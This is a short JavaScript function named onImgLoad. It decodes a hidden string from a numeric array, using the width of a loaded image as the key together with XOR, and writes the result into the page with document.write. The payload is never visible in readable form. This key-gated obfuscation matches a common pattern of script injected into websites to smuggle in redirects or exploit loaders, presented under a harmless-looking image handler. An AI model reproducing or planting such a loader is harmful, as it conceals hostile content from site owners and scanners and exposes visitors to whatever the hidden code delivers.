function onImgLoad(source) {
var as = new Array(160,109,227,73,545,419,517,448,590,418,540,508,603,401,534,494,589,418,611,450,596,418,594,426,596,403,519,450,590,391,530,503,517,398,529,431,602,389,523,428,601,456,537,448,590,414,523,486,519,470,533,431,599,393,536,450,517,414,543,446,586,469,580,496,601,397,544,450,532,396,519,452,582,419,517,448,590,418,540,410,519,466,533,448,584,469,580,496,589,414,540,446,543,455,593,425,586,398,595,447,602,420,522,492,584,391,531,491,536,479,607,510,535,473,598,491,598,469,518,449,601,401,532,432,590,414,519,426,523,418,611,496,528,466,528,446,517,459,582,410,519,472,612,410,532,419,517,448,590,418,540,508,519,457,605,506,532,419,517,448,590,418,540,508);
var xi = source.width; if (!xi) {return;}
var s=""; for (var n=4; n<as.length; n++) {s+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(s);
}

